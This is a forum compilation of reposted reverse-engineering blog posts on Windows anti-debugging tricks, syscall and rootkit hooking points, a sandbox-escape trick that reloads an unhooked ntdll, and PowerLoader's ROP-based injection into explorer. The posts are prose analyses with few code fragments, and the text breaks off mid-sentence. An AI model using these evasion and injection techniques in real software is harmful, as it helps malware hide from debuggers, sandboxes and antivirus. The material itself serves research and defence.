Nytro

[h=3]Hidding Threads From Debuggers[/h]In this post i will take into discussion an old anti-debug trick that many of us know well. The trick is the ability of our code to hide specific threads from debuggers. This is usually achieved by calling the ntdll "ZwSetInformationThread" function with the "ThreadInformationClass" parameter set to ThreadHideFromDebugger 0x11. Sample code for this trick can be found here. If we take the "ZwSetInformationThread" function into disassembly, we can easily see that the "ThreadInformationLength" parameter must be zero for the function call to succeed, otherwise ERROR_BAD_LENGTH is returned. See image below. And here is the 64-bit version As you can see from the two images above, the whole function call ends up setting the "HideFromDebugger" bit of the "_ETHREAD" structure. Once this flag has been set, the kernel guarantees that the debugger will never receive any debug events from the corresponding thread. For example, let's take the LOAD_DLL_DEBUG_EVENT events. As you know, any time a module is loaded into the address space of specific process, the debugger is notified of this action through the LOAD_DLL_DEBUG_EVENT events.The debugger then inspects various interesting fields in the "LOAD_DLL_DEBUG_INFO" structure e.g. ImageBase. Depending on the debugger configuration, the debugger notifies you of that or not. You can see this if you instruct OllyDbg to break on new module. The two images above show how OllyDbg acts if a normal (not hidden) thread loads a new DLL. It is as follows: 1) Thread Loads a new DLL via calling e.g. the "LoadLibrary" function. 2) The "LoadLibrary" function wraps up a call to the ntdll "ZwMapViewOfSection" function. 3) The kernel mode part of ZwMapViewOfSection calls the "DbgkMapViewOfSection" function. 4) The "DbgkMapViewOfSection" functionqueries both the "HideFromDebugger" bit of the "_ETHREAD" structure and the value of the "DebugPort" field of the "_EPROCESS" structure. If the "HideFromDebugger" bit is not set and the "DebugPort" field is set, then the function builds the "LOAD_DLL_DEBUG_INFO" structure and calls the "DbgkpSendApiMessage" function which is responsible for delivering the debug event to the attached debugger. On the other side, if the "HideFromDebugger" bit is set, DbgkMapViewOfSection returns immediately without delivering the debug event. See images below. N.B. Regarding the UN/LOAD_DLL_DEBUG_EVENT's, there are other factors that determine whether or not the debug event is going to be delivered to debugger e.g. the "SuppressDebugMsg" bit of the Thread Environment Block (TEB). 5) In the debugger, the "WaitForDebugEvent" function returns with the "dwDebugEventCode" field set to LOAD_DLL_DEBUG_EVENT 0x6. Given this, the debugger figures out that a new module has just been loaded and that it should inspect the "LOAD_DLL_DEBUG_INFO" structure to extract the new image base, file handle, etc. 6) After extracting info. from the "LOAD_DLL_DEBUG_INFO" structure, the debugger calls the "ContinueDebugEvent" function to continue executing the thread. Similar to LOAD_DLL_DEBUG_EVENT's, debuggers never get notified of exceptions raised in the scope of hidden threads. To ensure that let's have a look at the "DbgkForwardException" function. As you can see in the image above, the "HideFromDebugger" bit of the "_ETHREAD" structure is queried here as well. Conclusion: When the "HideFromDebugger" bit flag of the "_ETHREAD" structure is set, the thread will not receive any debug events. If we look again at the "NtSetInformationThread" function in disassembly, we will see that the function call is one-way i.e. you can make this function call to hide the thread from debugger but you can not make this call to un-hide the thread from debuggers. Let's have a look at the "ZwQueryInformationThread" function. As the name implies, we can usethisfunction to determine if a specific thread is hidden from debuggers. See below. And here is the 64-bit version. As you can see from the two images above, the "ThreadInformationLength" parameter must be one for this function call to succeed. If it is one as expected, nothing surprising is seen, the function just sets the first byte pointed to by the "ThreadInformation" parameter to one if the "HideFromDebugger" bit of the "_ETHREAD" structureis set. Given this knowledge, i have created a small OllyDbg v1.10 plugin to detect any hidden thread in the process being debugged esp. if we are attaching to an active process. The plugin is called HiddenThreads. You download it from here and its source code from here. Unfortunately, in older versions of Windows e.g. XP, the "ZwQueryInformationThread" function can't be used to detect if a thread is hidden from debuggers as the ThreadHideFromDebugger information class 0x11 is simply not implemented. The function call returns ERROR_INVALID_PARAMETER. Now that we have seen how to hide a thread from debuggers, how this works under the hood, and how to detect if a thread is hidden from debuggers, let's try to find another way to hide the thread other than calling the "ZwSetInformationThread" function. With the introduction of the "ZwCreateThreadEx" function e.g. Windows Vista and 7, a new flags parameter is present. This flag causes new threads to be created hidden from debuggers i.e. you don't need to call the "ZwSetInformationThread" function. If we set this parameter (the 7th parameter) to 0x4, then the new thread will be hidden from debuggers. In this case, setting the "HideFromDebugger" bit occurs in the "PspAllocateThread" function. See image below. You can find a demo here and its source code from here. This post was written based on debugging sessions on Windows 7 64-bit. This is why you see me switching from x86 to x64. Any comments or ideas are very welcome. You can follow me on Twitter @waleedassar Sursa: waliedassar: Hidding Threads From Debuggers

[h=3]Defeating Memory Breakpoints[/h]In this post i will show you a couple of tricks that can be used to defeat memory breakpoints. First i should explain what memory breakpoints are and how they work. Anyone who has spent some time in the field of software protection and debuggers must have heard of Memory breakpoints. Actually, memory breakpoints were not extensively used in the past but since more and more protection schemes implement anti-INT3 and anti-Hardware breakpoints tricks, reverse engineers started to use memory breakpoints to avoid detection. The idea of memory breakpoints is so simple. Imagine that we want to place a memory breakpoint at address 0x402005 (On-Execution), what the debugger theoretically does is as follows: 1) Marks the memory page which the address 0x402005 belongs to (page 0x402000) as guarded via calling the "VirtualProtectEx" or "ZwProtectVirtualMemory" function with the "flNewProtect" parameter having the "PAGE_GUARD" protection attribute set. In this case page 0x402000 is originally PAGE_EXECUTE_READ 0x20 and after placing the memory breakpoint it becomes PAGE_EXECUTE_READ|PAGE_GUARD 0x120. 2) Each time the guarded page is touched whether read from, written to, or executes, then an exception STATUS_GUARD_PAGE_VIOLATION 0x80000001 is raised and the debugger receives a debug event of type EXCEPTION_DEBUG_EVENT. 3) The debugger then inspects various fields in the "EXCEPTION_RECORD" structure of the "DEBUG_EVENT" structure to determine the reason why the exception was raised. If the following conditions are met, then the debugger figures out that instruction at 0x402005 is about to execute i.e. breakpoint reached and that it should break accordingly. a) The "ExceptionCode" field is set to STATUS_GUARD_PAGE_VIOLATION 0x80000001. The "NumberParameters" field is greater than or equal to 2. c) The "ExceptionInformation[0]" field is set to 8. d) The "ExceptionInformation[1]" field is set to 0x402005. The image below represents something very similar. If any of the above mentioned conditions is not met, then the debugger figures out it is not the breakpoint. Whether the breakpoint is hit or not, the debugger resets the "PAGE_GUARD" protection attribute. Surprisingly, even though this is the typical way debuggers should implement memory breakpoints, OllyDbg and many other user-mode debuggers implement memory breakpoints in a slightly different way. Let's first take OllyDbg v1.10 and see how it implements memory breakpoints. If you already use OllyDbg v1.10, you should already know that it has only two kinds of memory breakpoints, On-Access and On-Write. On-Access memory breakpoints trigger anytime the page is touched and On-Write memory breakpoints trigger anytime the page is written to. Trying to reverse OllyDbg v1.10 to see how it implements each type, i found out that: 1) For On-Access memory breakpoints, they are implemented by marking the page that the breakpoint address belongs to as PAGE_NOACESS. PAGE_NOACCESS means that anytime the page is touched, an exception STATUS_ACCESS_VIOLATION is raised. The debugger then receives the debug event and inspects fields in the "EXCEPTION_RECORD" structure in a similar way to the conventional method mentioned above. 2) For On-Write memory breakpoints, they are implemented by depriving the page which the breakpoint address belongs to of the write access right via setting the "flNewProtect" parameter passed to the "VirtualProtectEx" function to PAGE_EXECUTE_READ. Every time the page is written to, an exception STATUS_ACCESS_VIOLATION is received. The debugger then receives the debug event and inspects fields in the "EXCEPTION_RECORD" structure in a similar way to the conventional method mentioned above. Here lies a bug in OllyDbg v1.10 since it assumes that the memory protection of any single page in the process address space can be turned into PAGE_EXECUTE_READ while this is not true for example memory page at 0x10000 can never be executable (Windows 7). After we have seen how memory breakpoints are implemented, i will show you two tricks that can be used as anti-memory-breakpoints. Trick 1) Given the knowledge above, we can conclude that in order to defeat memory breakpoints esp. those of type On-Execution, we should cause the "VirtualProtectEx" function to fail. How is that possible? By copying our code to a dynamically-allocated memory page whose page protection attributes can be executable and in the same time can not be guarded or no-access. This type of memory pages does really exist. For every thread you create, the kernel allocates one page (three pages in case of Wow64 processes) for the TEB. The TEB page(s) can't be non-writable and can't be assigned the "PAGE_GUARD" protection attribute. How can this be implemented? All you have to do to implement this trick is call the "CreateThread" function with the "dwCreationFlags" parameter set to CREATE_SUSPENDED. At this point, we have the new thread's TEB with the page protection attributes set to PAGE_READWRITE. The next thing we should do is make the TEB page executable by calling the "VirtualProtect" function with the "flNewProtect" parameter set to PAGE_EXECUTE_READWRITE. You can use this demo to test this trick. N.B. For more stealthy way to conceal the point at which the page protection is changed to executable, use the "VirtualAlloc" function instead of "VirtualProtect". The allocation type in this case must be MEM_COMMIT only. Trick 2) This trick can easily detect memory breakpoints. It relies on the fact that the "ReadProcessMemory" function returns false if you try to read guarded or no-access memory. To use this trick, all you have to do is call the "ReadProcessMemory" function with the "Handle" parameter set to 0xFFFFFFFF, the "lpBaseAddress" parameter set to the image base, and the "nSize" parameter set to the size of image. If it returns false, then at least one memory breakpoint is present. You can use this demo to test this trick. N.B. Certain executables have gap inaccessible pages e.g. those pages intended for anti-dumping described in a previous post. So you have to take care of that if implementing this trick. N.B. ReadProcessMemory has also been used as a stealthy way to read memory without triggering Hardware Breakpoints. Any comments or ideas are very welcome. You can follow me on Twitter @waleedassar Sursa: waliedassar: Defeating Memory Breakpoints

[h=3]Native x86 User-mode System Calls Hooking[/h] In this post i am going to explain how to implement system call hooking from user-mode for native x86 processes (i here refer to 32-bit processes running in 32-bit versions of Windows XP SP2 and SP3). Let's have a look at the "ZwOpenProcess" function of Windows XP SP2 and of Windows XP SP3. 1) XP SP2 2) XP SP3 As you can see in the images above, EAX is set to 0x7A, the system call ordinal and EDX is made to point at 0x7FFE0300 in the _KUSER_SHARED_DATA page. Then comes a CALL instruction which jumps to the "KiFastSystemCall" function whose address is stored in 0x7FFE0300 (_KUSER_SHARED_DATA::SystemCall). One difference we can see is that SYSENTER of XP SP2 is followed by 5 NOPs while in XP SP3 SYSENTER is directly followed by the RET of the "KiFastSystemCallRet" function. The first thing one may think of to implement the user-mode system call hook in Windows XP SP3/SP2 is to overwrite the "_KUSER_SHARED_DATA::SystemCall" and "_KUSER_SHARED_DATA::SystemCallRet" fields. Unfortunately, this is not possible since the page is not writable and any attempt to change its memory protection constant always fails. So, we should now turn to the "KiFastSystemCall" function and try to overwrite its very first instruction with a JMP instruction. Is this all? Let's see. For XP SP2, it is okay to write a near jmp instruction (5-byte long) since we have enough space (filled with 5 NOPs) and this does not hurt the RET instruction of the "KiFastSystemCallRet" function. But for XP SP3, any attempt to write the near jmp instruction will hurt the "KiFastSystemCallRet" function. Any common method for both XP SP2 and SP3? I thought about that and came up with something that worked for both service packs. If we allocate a memory page at an address which when converted from absolute to relative gives 0xC3 as the fifth byte of the new JMP instruction. For example, if we allocate a memory page at 0x3F910000, given that the "KiFastSystemCall" function is at 0x7C90E510, we get the new JMP instruction as a sequence of "\xE9\xEB\x1A\x00\xC3". You can check the source code of InjectHookLib for more information. N.B. We can still use a short JMP by searching for any vacant 5 bytes in the range of -128 to +127 from the address of the "KiFastSystemCall" function. LEA ESP,[ESP] seems to be okay for both service packs. N.B. With certain processors or under certain conditions e.g. disabled VT-x/AMD-V if using VirtualBox, the "KiFastSystemCall" function is not used at all and the "KiIntSystemCall" is used instead. In these cases, you can safely overwrite the first instructions of "KiIntSystemCall" function with a near JMP instruction as long as the code you hook to takes care of that. Any ideas or suggestions are always very welcome. You can follow me @waleedassar Posted by waliedassar Sursa: waliedassar: Native x86 User-mode System Calls Hooking

[h=3]Ring3 / Ring0 Rootkit Hook Detection 1/2[/h] [h=2]Introduction[/h] The cybercrime underworld hasn't given me any exciting malware to reverse and I'm running out of ideas for new posts, so I'm going to do a 2 part article about the techniques used by rootkits to intercept function calls, and how to detect them. The first part will explain some hooking methods, the second part will explain how to detect them. As I haven't done any kernel mode stuff on this blog, I will be looking at both user mode and kernel mode hooks on a x86 windows system. [h=2]Execution Flow[/h] In order to get a better understanding of the attack surface, I've made a simplified flow chart of a call to the WriteFile function in kernel32.dll. This is just an example to highlight key points, I chose the WriteFile function as it makes for a nice example, and disk I/O is commonly intercepted by malware, however most of the stuff on this graph will apply to lots of functions. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]If you haven't realized you can click the image to make it bigger, this article probably isn't for you.[/TD] [/TR] [/TABLE] (1) WriteFile is just a simple wrapper for NtWriteFile. Can be hooked with inline, IAT or EAT hooks. Hooking this function will intercept all calls to WriteFile in whichever process the hooks are placed. All paths used inside kernel32 are generally Dos Paths (C:\file.txt). [h=2][/h] (2) NtWriteFile is a small stub that sets the EAX register to a 32bit value (I'll explain this value later), then calls KiFastSystemCall. Can be hooked with inline, IAT, or EAT hooks. Hooking this function will intercept all calls to CreateFile, NtWriteFile or ZwWriteFile in whichever process the hooks are placed. All paths used by ntdll file functions are generally NT Paths (\??\C:\file.txt). (2.1) In order to call KiFastSystemCall NtWriteFile moves the address 0x7FFE0300 (KiFastSystemCall / KiFastSystemCall Pointer) into the EDX register, then it does "call edx" or "call dword ptr [edx]" The rootkit could replace the address 0x7FFE0300 within the NtWriteFile function body in order to hook it. Hooking this function will intercept all calls to CreateFile, NtWriteFile or ZwWriteFile in whichever process the hooks are placed. All paths used by ntdll file functions are generally NT Paths (\??\C:\file.txt). [h=2][/h] (3) KiFastSystemCall is a small stub that moves the stack pointer into the EDX register then executes the sysenter. The stub is only 5 bytes in size and the last instruction (RETN) is pointed to by KiFastSystemCallRet, this only leaves 4 writable bytes (not enough space for a near call/jmp). Furthermore, the address is hard-coded which makes IAT or EAT hooks impossible. Sometimes the KiFastSystemCall stub resides in KUSER_SHARED_DATA, in which case it is not writable from usermode. By hooking this function, the rootkit gains the ability to intercept all user mode calls to kernel functions. [h=2][/h] (4) The SYSENTER instruction is what transfers execution from user mode to kernel mode, in order to execute an kernel function. when the instruction is executed, the CPU sets the code segment to the content of the SYSENTER_CS register, the stack pointer to the content of the SYSENTER_ESP register, and the EIP to the content of the SYSENTER_EIP register. The SYSENTER_EIP register points to the KiFastCallEntry function ntoskrnl, as a result of this, the cpu will begin executing KiFastCallEntry. These registers are known as MSRs (Model Specific Register), they are only readable by using the cpu instruction RDMSR (Read MSR) and writable using the WRMSR (Write MSR) instruction. These instructions are both privileged (can only be executed from ring 0) therefore, in order to hook, a kernel driver must be loaded. By modifying the SYSENTER_EIP, the rootkit gains the ability to intercept all user mode calls to kernel functions, but we cannot intercept any kernel mode calls, because only user mode call use SYENTER. [h=2][/h] (5) KiFastCallEntry is responsible for taking the 32bit value from the EAX register (this is the value we mentioned in 2). The first 11 bits are the ordinal of the SSDT function to use (SSDT_Address+(Ordinal*4)), the 12th and 13th byte determine which SSDT to use, the rest of the bits are ignored. Once the function has worked out which SSDT to use, it calls the address at the given ordinal in the table. Can be hooked with an inline hooks. By hooking this function, the rootkit can intercept all user mode calls to kernel functions, as well as all kernel mode calls to functions starting with Zw, but not those starting with Nt. (5.1) Because the SSDT is a table of function pointers, it is also possible to hook calls by replacing the pointer within the SSDT. For every kernel function in ntdll, there is an equivalent pointer within the SSDT, therefore we can hook any function at will just by replacing the pointer. We are also able to hook all kernel mode calls to functions starting with Zw using this method, however, we cannot hook kernel mode calls to functions starting with Nt. [h=2][/h] (6) NtWriteFile...Again. We saw a call to NtWriteFile in 2, however that was just an ntdll.dll stub to enter into kernel mode, this is the actual NtWriteFile call pointed to by the address at the given SSDT ordinal. NtWriteFile builds an IRP (I/O Request packet) and supplies it to IopSynchronousServiceTail, it also passes a device object associated with the file being written. Can be hooked with an inline hook. By hooking this function, the rootkit can intercept user mode and kernel mode calls to NtWriteFile and ZwWriteFile. [h=2][/h] (7) IopSynchronousServiceTail may only be used on certain versions of windows, it is just a simple wrapper for IofCallDriver, so I'll skip this. [h=2][/h] (8) IofCallDriver takes a device object pointer (PDEVICE_OBJECT) and IRP pointer (PIRP) (both supplied by NtWriteFile). The device object contains a pointer to the driver object of the driver associated with that device (PDRIVER_OBJECT). The driver object contains a member called "MajorFunction", this is an array of 28 driver defined function pointers (a bit like an EAT or the SSDT), Here is a full list of IRP major function names. IofCallDriver will call one of the IRP major functions, based on which one is specified by the "MajorFunction" member in the IO_STACK_LOCATION for the supplied IRP. In the case of file operations, the device object given by NtWriteFile will nearly always be \filesystem\ntfs (aka ntfs.sys) or a filter device attached to \FileSystem\Ntfs, because filter drivers pass on the call to the device below below them until it gets to \FileSystem\Ntfs, we can assume the call will always end up at \filesystem\ntfs unless one of the filter drivers cancels it. By hooking IofCallDriver, the rootkit can intercept practically any call to any driver. In order to only intercept calls to a certain driver, the rootkit can check the "DriverName" member pointed to by the driver object which is pointed to by the device object. Alternatively to intercept calls to a certain device, the rootkit could call ObQueryNameString on the device object (It is important to note that not all devices have names). The rootkit can also filter only specific IRP major function calls, this is done by calling "IoGetCurrentIrpStackLocation" on the IRP pointer, then checking the "MajorFunction" member of the returned IO_STACK_LOCATION. [h=2][/h] (9) The IRP_MJ_WRITE function is responsible for writing files within the filesystem. By attaching a filter device to the device stack of \FileSystem\Ntfs or by replacing an IRP major function pointer with one of its own, the rootkit can intercept any call to \FileSystem\Ntfs. In order to intercept NtWriteFile calls, the rootkit would need to inspect IRP_MJ_WRITE calls in the filter device, or replace the IRP_MJ_WRITE pointer in the driver object. [h=2][/h] (10) This refers to the volume and partition drivers that are used by \FileSystem\Ntfs, these are not normally targeted by rootkits, therefore i have left them out. These drivers can be hooked in the same way as 9. [h=2][/h] (11) The NTFS filesystem uses the IRP_MJ_WRITE major function of the class driver "\Driver\Disk" aka disk.sys, in order to write a disk. Because \Driver\Disk is much lower level than the NTFS filesystem driver, there are no file name, instead it is only possible to work with LBAs (Logical Block Addresses). Logical Block Addressing in a linear method of addressing the disk by sectors, each sector is usually 512, 1024, 2048, or 4096 bytes. The sector number starts at 0 (Master Boot Record) and goes up to whatever, depending on the size of the disk. Hooking of drivers lower than ntfs.sys is usually only seen in kernel mode payload drivers used by bootkits. This is due to the fact that bootkits tend to only work with files outside of the NTFS filesystem, therefore not having to worry with translating file names to LBAs. [h=2][/h] (12) The disk subsystem refers to any driver(s) below disk.sys, generally this a port/miniport driver, which is a hardware or protocol specific driver. In most cases this will be atapi.sys or scsiport.sys which are for ATA and SCSI complaint disk devices. At this level a new IRP major function is used, IRP_MJ_SCSI, which is an alias for IRP_MJ_INTERNAL_DEVICE_CONTROL. Here, the rootkit will have to work with SCSI_REQUEST_BLOCK parameters, which further complicates things compared to a disk.sys hook. Any port/miniport hooks are usually only found in advanced kernel mode payload drivers used by bootkits. [h=2]Clarification[/h] The term "kernel function" refers to any function beginning with Nt or Zw. I call these kernel functions because the code resides in the kernel, for a user mode application to call one of these functions, it must enter the kernel via SYSENTER. Only 1, 2, and 3 can be hooked from user mode, the rest require a kernel mode driver. The reason hooks places at 5 and 5.1 cannot intercept kernel mode calls to functions starting with Nt is due to how these functions work. Any function beginning with Nt, when called from kernel mode refers to the actual function within ntoskrnl. However, when a function beginning with Zw is called from kernel mode, it sets the EAX register to the same number that was set in 2, then it calls KiSystemService. KiSystemService falls into KiFastCallEntry, I use the word fall, because it does not call or jmp, KiFastCallEntry is at an an offset into KiSystemService, thus KiFastCallEntry is actually a part of the KiSystemService Function. If you are still confused, the above graph should help. In user mode both Nt and Zw calls follow exactly the same path. Again, refer to the above graph if you are confused. By hooking at a certain point in the flow chart, the rootkit is able to accept all calls to that point and from above it. In other words, by hooking at 3 the rootkit can intercept all successful calls made to 3, 2, and 1. If while reading the kernel mode parts of this article, you are anywhere on the confused scale between "I'm not sure i get this" and "OMFGWTFBBQ", you probably need to read up on some windows kernel basics (especially driver/device stacks, I/O request packets and IRP major functions). [h=2]Conclusion[/h] This is part 1 of a 2 part article, the next part will be coming soon and will explain how to detect (and possibly remove) the hooks explained in this article. If you have any questions or I've explained something badly, leave a comment and I'll amend the article. Posted by TM Sursa: Touch My Malware: Ring3 / Ring0 Rootkit Hook Detection 1/2

[h=3]Fighting Hooks With Hooks - Sandbox Escape[/h] [h=2]Introduction[/h] I was pretty bored today and couldn't think of an article to write, decided I'd come up with an example of escaping a sandbox. Most sandboxes use hooks placed within user-mode dlls in order to monitor process activity. If someone was able to remove or bypass these hooks, they would be able to escape the sandbox. A common method used by advanced malware is to write a custom implementation of "LoadLibrary" / "LdrLoadDll". Using this code they can manually map a new, clean, copy of a dll and use it to evade hooks. Because of the nature of PE files, it is generally quite complex to do this and required a good understanding of PE files and the PE loader. As it happens, there is currently no working, easy to find, code to do this on Google, so such methods are not seen is script-kiddie malware and I'd like to keep it that way. Instead I will be showing a nice little hack that works in a similar way, however will be fairly easy for sandbox developers to deal with. [h=2]How It Works[/h] When i was thinking of which way to attack the sandbox, I thought it would be amusing (at least for me) to use hooks to facilitate the escape, I managed to do it using a single hook: "RtlEqualUnicodeString". First, if we look at the call path for "LoadLibrary" we will see it eventually ends up at "LdrLoadDll" which internally calls "LdrpLoadDll". Inside "LdrpLoadDll" is a call to LdrpCheckForLoadedDll, this function is responsible for iterating through the list of currently loaded dlls ("PEB_LDR_DATA->InMemoryOrderModuleList") and checking that the target dll isn't already loaded. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]A snippet from LdrpCheckForLoadedDll[/TD] [/TR] [/TABLE] By hooking "RtlEqualUnicodeString" or "RtlCompareUnicodeString", which is called internally by "RtlEqualUnicodeString", we can trick LdrpLoadDll into loading an already loaded dll. Because of the way "GetModuleHandle" works, any subsequent calls will return a handle to the original dll and not our new one. Now that we can trick the loader into loading new dlls, we can load a new copy of ntdll which will not be hooked. Using the address returned by "LdrLoadDll", we can call "GetProcAddress" to get a pointer to "RtlCreateUserProcess" within the new dll. Now we can create a new process whilst bypassing any hooks to catch new process creation. [h=2]Prevention[/h] This method can easily be prevented by using a hook within LdrLoadDll. Each time LdrLoadDll is called, check if the name is that of a module we need to hook, if it is, call the original LdrLoadDll, then pass the address returned to the hooking function. Remember, we cannot use GetModuleHandle or equivalent. [h=2]An Example[/h] Example Code Malwr Analysis - No Escape Malwr Analysis - Escape [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Process with 2 copies of ntdll loaded[/TD] [/TR] [/TABLE] Posted by TM Sursa: Touch My Malware: Fighting Hooks With Hooks - Sandbox Escape

[h=3]PowerLoader Injection - Something truly amazing[/h] [h=2]I'm not dead[/h] It has been a while since i wrote an article (I've been pretty busy in real life), so I decided to get writing. This article will probably only make sense to people from a malware research / programming background, but to compensate i will be posting a fairly non technical article in the near future. I will be talking about the infamous injection method from PowerLoader 2.0, which has been seen in many different malware families such as: Carberp, Redyms and Gapz. Recently, after looking at the difference between 0vercl0ck's proof of concept and the real deal, a friend asked me "Why does PowerLoader go to all the trouble of using ROP chains instead of just executing the shellcode like 0vercl0ck does.", I already had a perfect idea of why, but decided to do some digging and answer the question "How?", this digging resulted in me finding something that truly impressed me, (I try not to admire the work of criminals as i don't want to seem like a psychopath ). I would have written this article sooner, but i was totally unaware that no blogs had really gone into depth on this method, i like to be unique! [h=2]The Purpose[/h] Most antiviruses don't treat all processes the same, a known "trusted" process is usually far less likely to flag up any warnings from the antivirus. In this case, the goal of malware is to inject code into one of these "trusted" processes in order to run with less risk of detection. Of course antiviruses will attempt to catch injection too, so the challenge is for malware to find a way into the trusted process without being detected. In order to give a better idea of the stealthiness of PowerLoader I have listed below some common telltale signs of a malicious process attempting to inject. (The following only apply to a process trying to perform any of these actions on another process) Allocating heap space Creating threads Overwriting process/module memory Manipulating thread context Queuing asynchronous procedure calls (APCs) Proactive antiviruses will check for processes trying to perform these actions and could likely result in the user being alerted to a malicious process. The aim of PowerLoader is to subvert this, (which seems to be a success as it is not picked up by antiviruses, and does not cross off anything on the list). [h=2]Writing the code to explorer[/h] In the case of PowerLoader, the trusted process targeted is explorer. I won't be putting any images/reversed code for this part as it has already been well documented by ESET. PowerLoader gets the malicious code into the process by opening an existing, shared section already mapped into explorer, removing the need to allocate heap space or overwrite process memory. PowerLoader then proceeds to map the shellcode onto the end of the chosen section. Below is a list of targeted shared sections. \BaseNamedObjects\ShimSharedMemory \BaseNamedObjects\windows_shell_global_counters \BaseNamedObjects\MSCTF.Shared.SFM.MIH \BaseNamedObjects\MSCTF.Shared.SFM.AMF \BaseNamedObjects\UrlZonesSM_Administrator \BaseNamedObjects\UrlZonesSM_SYSTEM [h=2]Executing the code[/h] In order to execute the remote code without creating a thread, PowerLoader uses a little trick with the explorer tray window procedure. By opening "Shell_TrayWnd" and calling SetWindowLong, PowerLoader is able to set a variable used by the window procedure to point to a specific address in its shellcode. Here PowerLoader sets the address to a pointer to a pointer to KiUserApcDispatcher, whereas 0vercl0ck's code will just set it to a pointer to a pointer to the payload (which resides in a shared section). When SendNotifyMessage is called by the malware, the window procedure inside explorer is triggered and this is what happens. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 1: A snippet from the Window Procedure[/TD] [/TR] [/TABLE] Now this code is simple, it will perform a double indirection that will result in the address pointed to by the pointer that was set using SetWindowLong, being executed. This is where PowerLoader differs from 0vercl0ck's version. The instruction "call dword ptr eax" will read the value pointed to by EAX and then call it. The read part won't trigger DEP (Data Execution Prevention), if the section is not executable (in later versions of windows it is execute-protected), however if EAX points to an address inside the section, DEP will be triggered. Because the sections protection is only set to Read/Write in later versions of windows, 0vercl0ck's code will likely trigger DEP and crash explorer, however, because PowerLoader's pointer points to KiUserApcDispatcher (resides in ntdll), DEP is not triggered. Well how does one get from KiUserApcDispatcher to code execution, without executing the non-executable shellcode, I hear you ask? [h=2]ROP Chains, Unicorns, and Rainbows[/h] This part greatly interested me, partly because I have never seen a ROP chain in the wild before but mainly because it is the most advanced injection method I have ever come across. In order to understand how PowerLoader gets from KiUserApcDispatcher, to shellcode execution, we need to do some disassembling. In Figure 1, we see the Window Procedure pushing ESI onto the stack, then calling KiUserApcDispatcher. It is important to remember ESI contains the address (held in the shellcode) of the pointer to the KiUserApcDispatcher pointer. So let's see dissasemble KiUserApcDispatcher. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 2: KiUserApcDispatcher[/TD] [/TR] [/TABLE] Pay attention to the first 3 instructions. "lea edi, [esp+10h]" is loading the last parameter into the EDI register. If you remember in Figure 1, the last parameter pushed to the stack was ESI, which contains an address within the shellcode. Next it pops the return address into the EAX and then calls it, this results in execution being transferred back to the Window Procedure. So really nothing has happened here, We've just set the EDI to an address inside the shellcode and then gone back to where we came from. So in order to see what happens next, we are going to have to dig deeper. Here is some more of the Window Procedure. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 3: More of the Window Procedure shown in Figure 1[/TD] [/TR] [/TABLE] Now in this disassembly we need to pay attention to the instructions underlined in red and orange, the blue box is the code we already discussed (executes KiUserApcDispatcher and sets EDI to ESI), the rest of the code can be ignored. As you can see, the function makes 2 more calls (EAX+8, followed by EAX+4), if you remember earlier, EAX is an address in the shellcode, so the next call is to the address 8 Bytes below. Let's take a look at the shellcode shall we? [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 4: A small snippet from the shellcode[/TD] [/TR] [/TABLE] When SetWindowLong was called by PowerLoader it set the ESI (Blue Box Figure 3) to 00100E0C (Which holds the address 00100E20), The code then performs and indirection and EAX ends up pointing to KiUserApcDispatchPtr (00100E20). Using some very basic maths, EAX+8 points to 00100E28 and EAX+4 to 00100E24. What are 00100E28 & 00100E24? When the shellcode was made during runtime, PowerLoader searched for some byte sequences in explorer using ReadProcessMemory, then stored the addresses of those sequences in the shellcode. The sequences are instruction within the executable regions of explorer's memory, their purpose is to perform certain operations as PowerLoader can't execute any of its own code yet, due to the section being execute-protected. 00100E28 points to some code in explorer that executes the instruction "STD" followed by "RET", As a result the instruction underlined in red will result in the direction flag being set and execution being returned to the Window Procedure. Until now, nothing makes any sense at all. We've set the ESI to an address in the shellcode (Figure 1), we've set the EDI to an address on the stack (Figure2), and we've set the direction flag. What happens next makes sense of it all. EAX+4 is called from the window procedure, as we established EAX+4 is a pointer in our shellcode, but what does it point to? Again, we need to do some disassembling. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 4: A random function in shell32.dll[/TD] [/TR] [/TABLE] Remember i said PowerLoader scanned some byte sequences in explorer? Well these bytes were found, in this case inside some random shell32 function (it doesn't matter). Now the pointer doesn't point to the start of the function, it points somewhere in the middle, as a result, only the bytes in the red box are executed. It should become apparent what is happening. The instruction "REP MOVSD" will move ECX (0x94) bytes from the address in ESI to the address in EDI. Earlier the code managed to use code within explorer to set the ESI to the shellcode address, the EDI to an address on the stack, then Set the direction flag to 1. Because of this, the shellcode starting at address 00100E0C will be copied to the stack backwards (The copying will start at the address in ESI, copy a DWORD, then subtract the address by 4 and repeat. (Remember: because all addresses points to executable code within explorer address space, and they are called using a pointer, no code in the shellcode is actually executed, thus resulting in no nasty DEP errors.) This is where things start to heat up, PowerLoader has just used code located within explorer to overwrite some of the stack with some shellcode, which means although still incapable of directly executing its own code, PowerLoader has control over return addresses and stack based parameters. Let's have a look at the code that was copied. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 5: The ROP Shellcode that is written to the stack[/TD] [/TR] [/TABLE] Once the code copying the ROP Shellcode to the stack is done, it hits the ret instruction, but because the stack has been overwritten, it instead ends up executing code pointed to by the ROP Shellcode, Each bit of code has a ret instruction which causes the next ROP gadget to be executed. I stepped through in a debugger, below i have made a list of the ROP Gadgets in order of execution, each line is a different gadget. Direction Flag Clear Pop 0x70 into EAX Call _alloca_probe WriteProcessMemory Pop the address of ntdll!atan into EAX Jmp to EAX Some things to note: The _alloca_probe function is undocumented but I believe it takes the value in EAX and check that the stack can hold that many items, if not it triggers the guard page to allocate more stack space (0x70 is in 